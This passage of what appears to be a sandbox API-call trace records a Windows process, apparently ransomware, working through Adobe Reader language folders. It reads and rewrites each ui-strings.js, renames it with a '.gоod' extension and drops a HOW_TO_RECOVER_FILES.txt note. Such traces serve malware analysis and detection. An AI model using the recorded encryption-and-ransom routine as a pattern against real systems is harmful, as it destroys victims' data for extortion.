cAlternateFileName="")) returned 0x131de60 [0200.733] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.733] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x206d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.733] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.733] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0200.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0200.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0200.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0200.734] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk", lpFilePart=0x0) returned 0x6a [0200.734] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0200.734] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.734] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x206d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.734] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x206d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0200.735] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0200.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0200.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0200.735] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0200.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0200.735] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37df6f0 | out: lpFileInformation=0x37df6f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x206d)) returned 1 [0200.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0200.735] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0200.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0200.736] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0200.736] GetFileType (hFile=0x84c) returned 0x1 [0200.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0200.737] GetFileType (hFile=0x84c) returned 0x1 [0200.737] SetFilePointer (in: hFile=0x84c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0200.737] ReadFile (in: hFile=0x84c, lpBuffer=0x37dfbd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x37dfbd8*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0200.739] CloseHandle (hObject=0x84c) returned 1 [0200.739] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0200.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0200.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0200.739] GetFileType (hFile=0x84c) returned 0x1 [0200.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0200.739] GetFileType (hFile=0x84c) returned 0x1 [0200.739] SetFilePointer (in: hFile=0x84c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x206d [0200.739] WriteFile (in: hFile=0x84c, lpBuffer=0x37e0f28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x37e0f28*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0200.740] CloseHandle (hObject=0x84c) returned 1 [0200.741] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0200.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0200.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0200.741] GetFileType (hFile=0x84c) returned 0x1 [0200.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0200.741] GetFileType (hFile=0x84c) returned 0x1 [0200.741] ReadFile (in: hFile=0x84c, lpBuffer=0x37e3270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x37e3270*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0200.817] CloseHandle (hObject=0x84c) returned 1 [0200.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0200.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0200.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0200.818] GetFileType (hFile=0x84c) returned 0x1 [0200.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0200.818] GetFileType (hFile=0x84c) returned 0x1 [0200.818] WriteFile (in: hFile=0x84c, lpBuffer=0x37e1f60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x37e1f60*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0200.818] CloseHandle (hObject=0x84c) returned 1 [0200.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0200.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0200.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0200.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x73e8e20b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x207d)) returned 1 [0200.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0200.819] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sk-sk\\ui-strings.js.gоod")) returned 1 [0200.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0200.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0200.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sk-sk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x84c [0200.821] GetFileType (hFile=0x84c) returned 0x1 [0200.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0200.821] GetFileType (hFile=0x84c) returned 0x1 [0200.822] WriteFile (in: hFile=0x84c, lpBuffer=0x3861cf0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3861cf0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0200.823] CloseHandle (hObject=0x84c) returned 1 [0200.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0200.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si", lpFilePart=0x0) returned 0x6a [0200.823] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0200.824] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.824] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.824] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.824] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0200.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0200.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0200.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0200.824] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si", lpFilePart=0x0) returned 0x6a [0200.825] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0200.825] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.825] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.825] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0201.092] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0201.383] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0201.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0201.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0201.383] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0201.384] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38ac3d0 | out: lpFileInformation=0x38ac3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e56)) returned 1 [0201.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0201.386] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0201.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0201.419] GetFileType (hFile=0x84c) returned 0x1 [0201.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0201.420] GetFileType (hFile=0x84c) returned 0x1 [0201.420] SetFilePointer (in: hFile=0x84c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0201.420] ReadFile (in: hFile=0x84c, lpBuffer=0x38b44b0, 